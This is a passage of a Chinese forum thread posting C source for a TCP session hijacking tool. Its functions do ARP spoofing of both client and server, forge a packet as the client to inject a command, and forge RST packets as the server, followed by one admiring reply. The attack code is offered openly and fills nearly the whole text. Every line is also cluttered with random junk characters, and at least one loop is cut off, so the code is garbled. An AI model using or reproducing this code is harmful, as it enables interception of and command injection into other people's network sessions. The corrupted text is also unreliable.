      if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
: Z( s! P0 q: t9 F! g/ ~- T       {
9 Z; n- y5 N) x. z  J       ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); - B  a( l7 M0 F1 n. `- e0 F8 r
      //暂不考虑IP、TCP头不是20字节的情况
( ]; }6 F+ Y) _" }       //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; - G2 j0 \8 L! @1 _) ~" [* W2 Q
      pStr = (char *)pTCPPacket + 54;
: O' K* I6 D% t. {' K; `9 H       for(i=0; i       }
  W2 J6 L9 U5 k    }
* _% ]! J' K4 h5 j    //debug output : K, h; _% v7 y
   //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); : f$ R( X, n3 c
}//end of analyse packets while ; J" b) C0 Z$ o  H5 W# {( j
  }//end of recv packets while ( C5 U4 I& K  r0 G; j
  PacketFreePacket(lpRecvPacket);
+ m5 l6 n. y) z7 J- }+ V. H  return 0; ' ]* F4 G: o+ k- W! a, \+ j
} 9 r  M# c/ i9 G) x
  a0 ?2 s6 Y% U3 X& K( K# Y
& N6 Z3 q- o& m8 R6 p
//
' g3 D. R$ l5 _, u3 Y/ I7 n//功能：操作记录所有连接信息的单向链表
2 y4 G3 p8 P( S$ K" |9 ^; N9 p' C//
- r5 N4 D+ ~) B$ d( s0 L4 TDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, . j/ V6 a- q( G. k
         USHORT uClientPort, BOOL bDelete, BOOL bAddNew) 6 B# Z3 S/ O9 O5 E- j( x4 w' g# `
{ $ Y8 [' |( t2 [
  PCONNINFO  pNew, pTmp; 9 W) h( C0 U8 |; Q) o
* y6 x# q8 R- B& e0 Y
  pTmp = g_pConnHead;
, x0 |0 R4 h$ p. f% ~  while(pTmp)
8 p$ V7 B6 g$ t# I5 V6 F  { " Y( S7 I$ T# ]7 S8 d0 Y- Y
if(pTmp->bActive) 8 X* R: y8 c6 j* {* S6 l
{ : o6 l' ?4 F3 H: E; J9 e7 D
   //found it
- n" v- M4 }& X% Q" f& n4 R    if( (pTmp->dwServerIP == dwServerIP) &&
* L0 a& ^( J. K9 \+ {# I$ r& F2 l       (pTmp->uServerPort == uServerPort) && ; z+ j/ i/ b- T+ m$ ]
      (pTmp->dwClientIP == dwClientIP) &&
7 k" ~0 _+ q0 C4 c( Z& P       (pTmp->uClientPort == uClientPort) )
. S/ c/ Y: o, J" Z    { ' h: E1 x! e' K, o
      if(bDelete) " y' p+ Y8 l, |( Y
      { - c0 \. I! w: C9 b
      pTmp->bActive = FALSE;
  R: h; s0 v# ]6 \       return 0;
- O" t/ e% ~" H5 F2 U0 ^0 i! Q       }
* z% w) I. X* l* }& e2 R       else return pTmp->ident; / _) G+ ?% T7 f- y  i' L
   } 4 ^6 K; ^, m. v- {+ y( C
}
9 L& }! F( \9 Q# ~ pTmp = pTmp->Next; 9 U7 S. E6 x5 q3 ?: R: x; z
  }
5 Z+ c( W; `. p# c  //not found, create new node ) U5 K/ r) k% }% ]7 y
  if( (!pTmp) && (!bDelete) && (bAddNew) ) 4 `% o/ m" f2 ~# T2 S
  {
+ [3 D/ N6 v% h/ Y; \9 V: w //search unactive note ; c7 f+ Q9 u, |2 e
pTmp = g_pConnHead; * x7 d1 \# L1 m. g. y
while(pTmp)
+ w) \& K4 M& E. v$ V0 D, U' M {
# |1 l2 j4 A! u8 M: f    if(!pTmp->bActive) break; 1 X5 E' n! l# v
   pTmp = pTmp->Next; , D$ }, f) u* e& Y5 N8 n
}   i" i8 o# j$ ]/ Y' H. h
//found a unactive node 0 k4 d; u* Y3 D$ P' y( c. v% E4 a: H
if(pTmp)
9 G( k6 p8 x% o {
$ C3 ?9 J: A! k  z4 \3 _    pTmp->dwServerIP = dwServerIP; 5 q1 Y1 U  I* ]
   pTmp->uServerPort = uServerPort; : z$ P% F) V. l! A$ Q& X% l8 `
   pTmp->dwClientIP = dwClientIP; ! I* E! E9 I( b& D) B% ]7 r
   pTmp->uClientPort = uClientPort; ; l7 v: h$ }6 H( F( h" R
   pTmp->bActive = TRUE; * I# s$ |) B- H! O; Y4 g7 D/ T- q
   return pTmp->ident;
" {, j( G. L/ M! _: P  I1 b }
6 t  y& l9 h4 Q$ L3 _& n //not found,create new node
3 x' P) J% G4 j3 Y7 ^7 |9 i pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
" _! N8 t) L; D if(!pNew)
) e' H, Y( T) ^8 I/ S5 X { / [5 W- m( @# F1 F: z) l* i( _
   printf("malloc for link node error:%d\n", GetLastError()); , k3 f# B- m- _5 `
   return 0; + E2 ^6 Z0 _% w. _# H; t  t; y
} : P4 Z1 d. T+ Q
//fill the struct
' [! L% S  L0 s* P4 j pNew->bActive = TRUE;
' o* K2 }& i6 D2 q% a7 a+ Q# } pNew->dwServerIP = dwServerIP;   I0 j7 c( ^! w- r+ ^- B6 Q
pNew->uServerPort = uServerPort;
  s' I- J2 t! i pNew->dwClientIP = dwClientIP;
: L/ [' U" Z  B6 R" w; j# C/ r pNew->uClientPort = uClientPort; * k: U- a3 }. [3 u6 i# Y0 x
pNew->ident = ++g_ident; ) [. m4 E) r. A/ W  X: f
pNew->Next = NULL;
0 h$ o, j3 o$ P- M  V, B //add new node to link - @3 s# P' _( @# x
if(!g_pConnHead)
% h- I$ {& u" v$ q) q* n- _  d    g_pConnHead = g_pConnLast = pNew;   ?. V& `* l* x) K  }
else
& z7 l* J  o5 p {
! w- u7 C& y" h2 e8 `    g_pConnLast->Next = pNew;
  I* T( z0 n$ ?    g_pConnLast = pNew; 9 H. W  W) ^+ n" ^  z0 T
} 2 j% e4 [7 o8 O
return pNew->ident;
( Y! h2 G0 V, Z8 b; I- d2 ~  G% o  }
- C7 w4 b% u" `9 n2 A- ?+ @  return 0;
: @3 y/ Y3 U/ l1 w0 g% Z}
+ i- Y; D5 p# P- Z6 x
- P3 q5 P& I5 v" u//
3 M& P6 j' H# `4 J: P* u//功能：判断一个数据包是不是只有ACK标志
  M1 M& z/ l* v& q. L// % |) I6 h" K5 I! b! k
BOOL IsACKPacket(unsigned char flag)
! @7 _& n( w( U5 C7 _{ 8 _% F# i& x2 i: n. S  c
  int  i, j=1; # K. ]9 C) _& {6 A. Z; F( |5 s: w
  for(i=0 ; i<4; i++) 8 N* ~$ b$ l! t6 S8 j
  {
: i0 C1 Z3 u3 p  r+ o if(flag & j) return FALSE; 0 `+ E1 p9 |, B4 Z
j <<= 1;
9 J5 m: R5 i8 p) f2 C: ~  }
( y& O  U/ v: a/ I: N2 e( Y. n" \  if(!(flag & 0x10)) return FALSE;//is ack? " M0 ]' }8 C2 U5 h2 k
  if(flag & 0x20) return FALSE; - \5 n" {" f  v& {8 p% U. L  n
  return TRUE;
( e) e, K/ u( k! x4 h0 X$ ?}
$ k- l+ j& Y3 f7 p5 ]4 |" k6 ~7 Y# G, t* N
// 3 c+ m  @- l# k; S
//功能：伪装成Client给Server发送数据包
3 W0 G/ H. a8 \2 v" ~2 c// / S) D, k& t' y% a
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) - k: p1 x* i4 Q% N
{ 4 K. Z+ O. ?! @3 h- v

0 l" U3 M( E1 ~( E0 q* c3 I" V  char szBuff[1520];
1 j. @* X6 m# B3 _  q4 V/ }  PSDHDR psdhdr; 8 D# k: F, A. T+ r4 \
  PTCPPACKET  pHiJackPacket = NULL;
0 y' h, v2 L4 X& r  s  [, P  BOOL bRet = FALSE; 1 I: i+ `- b0 o2 z5 M
" t3 a  Q  W" p/ W' n' w
  __try
* ]8 G& y' B4 m  { % g2 S. z6 X5 {
// 4 t. Y  T3 l0 D9 W6 K) [( r
if(!g_pCurrCtrlConn) __leave;
- Y7 R0 {7 r6 U( v! Y //allocate memory for hijack packet " j$ G# Y- J- t6 B9 ^$ S
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); # X! i& ]3 H  t7 u2 F. n6 S2 K
if(!pHiJackPacket)
8 ?+ l4 e: y8 W5 ~( ~ { 4 t+ j, d6 d8 c# @$ o
   printf("malloc error:%d\n", GetLastError()); ! O4 @5 E6 d+ f  y7 f" D3 q/ r- b
   __leave;
+ E* j. m4 y7 p } 7 V' U( u% x; n0 a5 l
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
! y* K2 T  s& r, }1 [' i3 J) w //-------------- modify the packet ---------------// 7 X" k3 P) D( r: u0 a8 e
//modify ethernet head
7 u! p/ O/ C) c4 U, H memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); & T# S4 a9 r$ t7 P7 N. L, E
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); / r1 a9 a$ b3 S# l& d( O$ m/ ?/ W
//modify ip head * C# e, a( _# {
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); ( E- ]  K" @, U, i5 H
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
. R: `3 w! o8 M8 ^4 Q pHiJackPacket->iphdr.ident += 1;//标识加1
& C! L! Y) I2 ` pHiJackPacket->iphdr.checksum = 0;   J0 b7 r9 d4 R9 }  h! N
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址，伪装成client
3 k& V0 E# q- u0 }  ~ pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址，接收hijack包的地址   B4 t1 J7 f3 B4 W
//modify tcp head , w$ n4 ~! ~7 r/ F5 N" `% t6 H
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port 7 p0 e$ D+ P- ^+ V9 ^6 @1 J7 M# U
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port & u7 B# X3 b' i' H  s6 D, f
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 2 c4 G1 }- ]6 L- j) E
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
- z1 t* H# P! E7 ^( K3 @% ^; X6 h# O2 V pHiJackPacket->tcphdr.th_sum = 0;
. C. ~, L( x& t% s7 p pHiJackPacket->tcphdr.th_win = 0x3F44;
- Y# O' [) c. Y; f //fill tcp psd head : \5 ~$ q) c; k  o
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;
) @; c, c# Y' P& `' L! N psdhdr.daddr = pHiJackPacket->iphdr.destIP;          1 L$ g( L" V+ D0 q6 T  h
psdhdr.mbz = 0;
1 L. u' M8 q* }# v) t psdhdr.ptcl = IPPROTO_TCP;
7 M, H' Q# M$ { psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len / ?4 u4 _1 q9 I
//calculate tcp checksum    , p0 `* u& I. ^. {3 X' z
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
; D( k  V; ^/ O9 O, }. ]- H0 ?) s* ^ memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); + a2 T; M7 m! |3 a. ~# G9 Y
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
' G; V0 f# G/ L% u- U7 S4 G: r pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 7 ~3 k; |: f* r5 \
//calculate IP checksum * F  v% D8 x/ s% j
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); 2 E- F& ^, l# N* M. f6 w# F, Z
//fill send buffer          % x0 O5 ?$ V  O+ V" l- O: M
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); % u3 x9 ]' J3 k* S
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); ; z$ T) K0 j3 l# s0 l7 U3 n
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
1 ~+ U. g, c: _) x: U% P, F/ H memset(g_lpSendPacket->Buffer, 0, 1514);
& G9 w0 q9 C8 M+ W4 I. x. n memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 5 b$ \4 q& O5 a* Y2 n. O9 Y8 m
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
. t( @* v6 @' I$ F% z- t0 _7 O { 8 H) l1 i- l. ?
   printf("Error sending the hijack packets!\n");
9 X$ m# c1 @$ k* t; h# V    __leave;
; Z$ C/ g- N8 _2 V& Y9 N( K }
" p8 b% H/ W7 G* b9 t else printf("Send hijack packet ok!\n");   X$ w5 u+ ?# ]' ?; U4 w( P* `
bRet = TRUE; - j+ f# c5 t- f! J* g: ?$ y
  }
作者: 韩冰 时间: 2004-11-21 01:47
__finally
8 J, X& k& e" @5 ~( s3 }' Z9 {% ~! Z  {
" z) L9 }, j! B# ~ if(pHiJackPacket) free(pHiJackPacket); / d5 W% D) ]6 u0 i
  } 4 m3 I+ q# c0 I' f
  return bRet;
: ?, O3 s, W0 O- J" w9 s1 I}
+ w/ ~/ D; C6 l5 H8 R6 y" Z/ g) ^& ?# X( \; ]

% g/ N$ P6 @, S1 T  Z) T# m// ' h( t) [5 [, w0 B! ]* q( T- T
//功能：伪装成Server给Client发送rst包   O6 v/ G0 p* x
//
7 b$ U" O9 B2 N; n% HBOOL SendRstPacket(unsigned int seq, unsigned int ack)
6 b& q% o2 e5 D{
0 E* X+ A5 q% j  char szBuff[60]; 1 U  `1 Y4 z0 n& E2 n$ Y
  PSDHDR psdhdr; 9 e9 r2 W& r: T& S7 k' B
  PTCPPACKET  pTcpPacket = NULL; 3 y4 J( n1 A0 s( u9 a  ^6 ^% N
  BOOL bRet = FALSE; 7 r9 a) q, w7 @: S3 C. P
+ m8 L# W" e3 J+ |
  __try
; M/ U2 r1 ], `  X  a& S3 w  {
4 O7 [: \; r5 x! E3 I; h //检查当前指向想控制的连接的信息的指针是否为空 ) ]' n1 w5 k: Y, o& E, d
if(!g_pCurrCtrlConn) __leave;
) j: M5 X( E1 S- s, x* L- Q3 e) E //allocate memory for rst packet 8 E' d/ \1 n+ P2 \; E3 M6 @
pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
  g- L" M, V8 |+ D if(!pTcpPacket) & h0 I5 |' A) t
{ 4 P4 h& T% V- P0 t
   printf("malloc error:%d\n", GetLastError());
- d% L! _, \1 E/ G# Z" J: N( Q    __leave; " w% c( ]+ ]9 w0 Z6 Q
}
1 A& f1 C6 S3 j( f //fill ethernet head ' C8 \8 \/ P/ G& O5 o1 x6 P) T
memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
$ M2 s* W: b- @. {- N- `: S memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
3 y1 t) K* p4 G0 m4 b# K9 v pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); 1 E1 I9 N; V- a' a5 i
//fil ip head
; w, N9 ~- t7 H& \0 U pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 0 D, R5 ^9 B: Q* c# F4 Q# ]
pTcpPacket->iphdr.tos = 0; ! V. y9 Z% X8 v6 K) a% p: o
pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
5 ?+ i8 w" G% a& i9 w2 D. c pTcpPacket->iphdr.ident = 1; 0 b' X- ^/ L' C
pTcpPacket->iphdr.frag_and_flags = 0; ! C% l$ i6 ^) C
pTcpPacket->iphdr.ttl = 128;
. ~# F% U+ L1 {: k' j pTcpPacket->iphdr.proto = IPPROTO_TCP; % N$ Q/ b4 w9 s$ A: f, c1 f3 s
pTcpPacket->iphdr.checksum = 0; 7 M+ A2 u& [  |8 r# Q
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址，伪装成服务器的
: a' r( F  Z; q% E2 U2 J9 | pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址 3 t9 K  }' i) ?) }
//fill tcp head : ~9 w* p/ Y) X& z) Q" W8 J
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号，伪装成服务器的端口 6 [4 o/ H3 N/ d4 j
pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 % r  G" [+ V& z7 u
pTcpPacket->tcphdr.th_seq = seq;//SYN . r) K% V+ y* x! {
pTcpPacket->tcphdr.th_ack = ack;//ACK 0 L* M7 T$ v6 j* z6 T
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
2 b+ ]* _5 O8 q pTcpPacket->tcphdr.th_flag = 4;//RST flag
6 S) A5 d- a6 l/ _/ }+ k pTcpPacket->tcphdr.th_win = 0;
9 f; ~2 w( o* P  i) O pTcpPacket->tcphdr.th_urp = 0; # \) \; R- H2 y5 k3 T
pTcpPacket->tcphdr.th_sum = 0; ! I3 H& v9 q* i: Y& [
//fill tcp psd head 3 Z3 R4 n9 g7 m9 ]; N
psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
5 e  Q" C9 S$ z' @ psdhdr.daddr = pTcpPacket->iphdr.destIP;          , I2 i% k  [$ X, A
psdhdr.mbz = 0;
) G# |% p# Y3 K& G; u psdhdr.ptcl = IPPROTO_TCP;
4 s; ?& U! x  H/ d psdhdr.tcpl = htons(sizeof(TCPHDR)); " Y' k+ b5 P3 l: s- F
//calculate tcp checksum    , y: u% C9 ^( p& S: i2 ]; ?
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
& Z/ d( ^; ]6 h7 J/ R5 z memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
) m$ \* k4 G  i) p! }4 j1 T0 g pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); 5 a! x7 J! n2 Q1 M6 q
//calculate IP checksum
. e( E% G' w0 `" H- y/ w pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
0 S8 @, l4 ?  @# m+ g; F //fill send buffer
" u9 e5 K6 P1 D6 ^ memset(g_lpSendPacket->Buffer, 0, 1514);
0 J/ `# {8 o. I9 q# R  W memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
# j6 E2 N# i* y* E$ ^1 e. ~' v if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) & g, r$ N" Q) \$ D. J% \( V
{ $ ^; i4 C1 p, }% e" M% ~8 V0 }
   printf("Error sending the rst packets!\n"); $ ~7 E9 a6 f" k& R  O* r% R
   __leave; ) q% M" j$ C, ?5 f* C
} 0 z1 T7 {! ^: [
else printf("Send RST packet ok!\n"); 0 K. ?5 S6 ]3 @' K+ Q
bRet = TRUE;
& c$ `' ~& E7 r- N& E  } & w# }) j  @0 a/ P5 p. o4 U( y
  __finally 7 c- V+ P( x0 K  H* m
  { / ^! D2 p- m3 Y) V
if(pTcpPacket) free(pTcpPacket);
7 ~' s! F- j1 L" ?2 }  }
7 j& P/ Y8 t* ~/ f) s% p: @  return bRet;
- l& z# N4 A  `. E+ E& a' B} # t" q! s6 c1 O* V. ]
; a6 ?* e3 \" U4 V% G1 W" x' M) p
// 2 j/ K9 i$ G) F  Z1 C
//功能：计算校验和
  [: l$ B8 n# ?( |- y7 F' j// ! \& ?  @4 l) ~! e3 ?2 I
USHORT checksum(USHORT *buffer, int size)
$ u$ A( X) F( r/ a7 Z6 g# H{
4 Y6 J) i) i/ {8 J8 ]% I unsigned long cksum=0; + w" H- v2 V8 Z. f6 R8 `
while(size >1) {
' a% @4 a0 Y9 J3 W/ R2 n; j  cksum+=*buffer++;
3 u7 d  l8 o% c/ M7 K  size -=sizeof(USHORT); 7 U" s5 b- A1 [2 g! j  P" p
}
8 v/ }: u9 s2 A* p if(size ) {
0 P: n# S7 B2 O; b; z  cksum += *(UCHAR*)buffer; : a  I5 H( k8 b' F
} / ]) n& s. v/ o+ R" m0 ^$ }
cksum = (cksum >> 16) + (cksum & 0xffff);
5 }# h9 O" j# P$ Z7 C2 _1 J( Q cksum += (cksum >>16);   x. n5 c! r2 h9 V+ j
return (USHORT)(~cksum);
2 ^3 g4 s( @3 o% r; Q3 g7 P; S} , N' S3 }! _( P; s" G

) V5 T. Y, w) s& K; [/ U//
# ?$ I- d$ D7 q//功能:实施ARP欺骗
: _( U! g, n: Q% \0 j$ l4 @//1 告诉ServerSide,ClientSide的mac是ownmac   z, F$ V5 x7 T. j. l, ^; f6 T
//2 告诉ClientSide,ServerSide的mac是ownmac   R' O  L! g/ V, O6 k6 {- ?# \
// + I1 k2 }% r; P$ T7 |9 N; t! |- ^
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
) a. {" c! U8 N4 N# d# D1 K{ $ ~9 h5 y! T/ X0 O# e
  int  iType = *(int *)lpType;
7 E9 Z0 U* R. C: u  ARPPACKET  ArpPacket;
; v0 m/ U, U" F! |3 \2 Y  LPPACKET  lpArpPacket;
6 y( K9 V" r1 l( S* y  char szArpBuff[60];
" J9 F9 `3 l4 R8 H. J; l
- ~" ]  C4 ~# s6 l' }8 V6 r  switch(iType) " [0 r5 r  S. v1 K% {4 y. N
  { & |$ B  u5 }3 f4 A' k$ h  ]
case 1: / t& Q- Q$ L1 O6 |6 ?( u
   memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
1 e- @  ]; R+ @6 l    ArpPacket.arphdr.DestIP = g_ServerSideIP;
8 F2 m& R4 J; ^+ O8 z    ArpPacket.arphdr.SourceIP = g_ClientSideIP;
" B  g2 }% U* d; {) X    break; $ ^9 ?4 A, f, M0 T
case 2:
1 R1 D# s; f6 h) V  {) p' X8 P8 \    memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
  l. ]! O- H, d& W/ R. |  l    ArpPacket.arphdr.DestIP = g_ClientSideIP;
& B9 T$ g4 Q4 P3 T1 b5 a5 ~8 B    ArpPacket.arphdr.SourceIP = g_ServerSideIP;
& Z( p" C8 A  {    break;
4 A$ _+ s: T1 ^, e5 } default: % S4 \$ v( Z% J" n
   return 0; : T: ?; r$ h4 \
  } 0 Y' ?" V/ n3 }1 O
  //ethernet head # y! P0 H) c. x/ r- b8 p5 q9 U
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); ) u) I2 o) ^. S: B+ r6 _: l4 |3 ~
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
; V* H) H6 \& ^. f  //arp head
0 f! |9 D4 H6 \4 G, x* w  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
, y% f. F& s2 G+ [7 _  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac * X) `) u$ F4 O. {7 c' |6 _
  ArpPacket.arphdr.HrdAddrlen = 6; ( o. ^; C0 l% T2 b& ?# H8 l+ H
  ArpPacket.arphdr.ProAddrLen = 4; ( k2 h7 c  W$ e
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE); : w5 U4 w( q/ ~& ]* U' s# ^
  ArpPacket.arphdr.ProType = htons(EPT_IP);
: ?: w. t1 I) Z0 r% r; a* o  ArpPacket.arphdr.op = htons(2);//arp reply
: V6 W( H* B, R4 Y
: u# \0 V: A% E: `- D  lpArpPacket = PacketAllocatePacket(); ; n. r1 f( V, k- R* w0 ^- F2 [2 g* l7 a
  if(lpArpPacket == NULL) 5 L* |+ @. u. u
  {
' C6 W0 o. s. E3 X2 [; |6 j printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
/ i" l( \. J  v& d3 F( y! c, F( d return 0; 5 U; r9 C3 `. A
  }   |9 h! ?7 k$ {
  memset(szArpBuff, 0, sizeof(szArpBuff));
+ Y) X" q- W* s, u! }+ K: o$ A! l3 S  memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
6 J! D9 H$ t3 j: T8 y3 z  PacketInitPacket(lpArpPacket, szArpBuff, 60);
8 q; B# n0 n: `) k( I& @  //send arp packet
4 G( a( F- ^4 O  N! j0 R  while(1) ; x2 X  d5 w1 B: Y- K% w
  { 9 j4 X8 k* \  z/ {  r1 ]
if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) , r5 N: |/ f8 o$ n/ g
{
4 c# A0 _; g) C+ X+ R    printf("Error sending the arp spoof packets!\n"); ' k. v; w6 P/ \# Q) \4 f
   return 0; 7 \6 d1 B% `; w. D( I# a
} $ i* p$ N3 }- y! B; g" h
Sleep(1000); " S' F; x0 J* s7 v; Z4 l5 M# @
  }
. \, R# }( M! v, g  return 0;
7 x. r, L6 E$ P, W} 4 s* A9 L) D( s, u, q
1 x. f- u# `3 v) g! S2 s
// 5 _0 a7 Y% Q+ [' U+ F
//功能：输入IP取得对应的MAC地址
3 w: h* P1 D2 k" U" I- \- G// . S" X9 H% v2 ^* I2 ~0 n9 l4 C
BOOL GetMACAddr(DWORD DestIP, char *pMAC) 7 [* n2 ~) E* U, c
{
# ]: @1 |* k% V- V  k2 ^  DWORD  dwRet;
0 w* ~8 Y$ M2 P  _  ULONG  ulLen = 6, pulMac[2];
3 H$ V1 L/ o$ g8 Z' H) {" W  dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
4 M( O. G' p. k. _9 N4 ?  if(dwRet == NO_ERROR)
8 ~# l; v3 n9 d7 I" n4 T1 U6 Y  { & c3 [+ ^! j7 K$ K6 h. h
memcpy(pMAC, pulMac, 6); $ ]0 D& q4 b8 g' s3 u
return TRUE; ; L0 k/ [6 ^8 H7 D3 F7 v
  }
/ [& `- h% G2 z& r% t+ w6 S- g  else return FALSE; 9 Y& q7 _& `( B2 E7 M% s! q
}
作者: wy617958197 时间: 2014-9-4 20:48
大侠好厉害啊

欢迎光临数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5